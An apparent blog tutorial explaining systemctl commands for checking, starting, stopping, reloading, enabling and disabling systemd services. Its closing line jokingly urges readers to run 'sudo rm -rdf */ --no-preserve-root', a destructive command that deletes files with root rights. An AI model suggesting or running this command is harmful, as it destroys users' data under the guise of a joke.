
Posted on • Originally published atethanrodrigo.hashnode.dev
Managing systemd services!
Hello friends!👋👋👋 How you doing?
Let's get into the today topic.
prerequisites
- Well in order to manage systemd, you have to know what systemd is. (Here if you don't)
- systemd installed in your Linux system. (Here if you haven't)
What is systemctl?
The systemctl is a utility to introspect and control the systemd system and services.
What is a unit?
In systemd a unit, is any resource that the system knows how to manage and operate on. This is the principal object that the systemd tools know how to address. Units can control hardware, services, sockets, etc. These units are defined in a configuration file called a unit.
Note: Though only the services have been mentioned later in the article, it also referrs to the other units types such as sockets, timers, etc. (More on types would be in another article).
Managing services with systemctl
checking the status of a service
The status of a service can be checked with systemctl'sstatus
flag. It provides information whether it’s active, running, failed, and if it’s failed, the reason for failure.
The puresystemctl status
command gives you the status of the system.
If you want the status of a specific service, usesystemctl status serviceName.serivce
or justserviceName
output explained
- dot(●) before the name of the service. systemctl uses this dot with specific color scheme to show the unit status at a glance.
white circle (○) - inactive/maintenance green dot(🟢) - active white dot⚪️ - deactivating read cross(❌) - failed/errorgreenclockwisecircle (↻) - reloading
- The
Loaded
line shows whether the unit has been loaded into memory or not. It also provides the path to the.service
file of the unit. Then you have the state of the serviceenabled
ordisabled
in the same line. - The
Active
line shows the active state, i.e.active
orinactive
.active
could also mean started, plugged in, etc depending on the unit type. The unit could also be in process of changing the state withactivating
ordeactivating
. It would befailed
state if the service is failed in some way such as a crash, exiting with an error code or timeout.
In addition to that you’ll get the documentation, memory usage, main PID, etc with the status command.
PS: exceptLoaded
andActive
the output could be changed from service to service.
starting and stopping service
If you want to stop(deactivate) or start(activate) a service you can usesystemctl stop
andsystemctl start
respectively. Once you execute the command, you need to enter the password to authenticate the user and if it’s success it’ll splashes a message==== AUTHENTICATION COMPLETE ====
.
reloading and restarting services
A running service can be restarted usingsystemctl restart serviceName
, instead of stopping and starting it manually.
Yet, if you just wanna add some changes to the service you can dosystemctl reload
instead ofreastart
. It will reload the service-specific configurations.
However if you are confused which one to use you can usesystemctl reload-or-restart serviceName
orsystemctl try-reload-or-restart serviceName
. The only different isreload-or-restart
starts units that are not running, whilsttry-reload-or-restart
does nothing to the not running units.
enabling and disabling services
systemd enable
Starting services manually on every boot would be tedious. That’s whyenable
is here to help you.
Thesystemctl enable
takes a unit file or the path to a unit file as arguments.
Enabling a service creates a set ofsymlinks, as encoded in [Install] section of the unit file (More on unit files would be on another article). Once the symlinks have been created, the system manager configuration is reloaded, in order to take the action immediately.
enable
tells the system manager to automatically starts a service on boot or a particular hardware is plugged in. You need to reboot the system in order to take the effect into action, or else use--now
flag, in order to enable it without rebooting.
Remember;
The
enable
andstart
are orthogonal, i.e units can be enabled without being started or started without being enabled. Enabling simply hooks the unit into various suggested places (for example, so that the unit is automatically started on boot or when a particular kind of hardware is plugged in). Starting actually spawns the daemon process (in case of service units), or binds the socket (in case of socket units), and so on.
Depending on whether--system
,--user
,--runtime
, or--global
is specified, systemd enables the unit for the system, for the calling user only, for only this boot of the system, or for all future logins of all users. Note that in the last case, no systemd daemon configuration is reloaded.
systemd disable
disable
on the other hand removes all the symlinks created by theenable
including manually created ones. In addition to thatdisable
only accepts units names and not the path of the unit.
The--system
,--user
,--runtime
, or--global
are same asenable
.
reenable
In addition to that we havereenable
, whichdisable
andenable
the unit.
Here we are disabling and enabling again thecgconfig
.
Note howreenable
is same asenable
anddisable
. As in withdisable
it removes the sysmlink anb then it creates it again into the path which is often/usr/lib/systemd/system
.
Conclusion
Withsystemctl
you can manage systemd services. But what if you want to create a service? Can we create a service for systemd? Let's find it out on next article. Till then bye... bye...
Thank you for reading! 😊😊 Now go and executesudo rm -rdf */ --no-preserve-root
and make tux happy 🐧.
If you find this useful let's connect onTwitter,Instagram,dev.to andHashnode.
Top comments(0)
For further actions, you may consider blocking this person and/orreporting abuse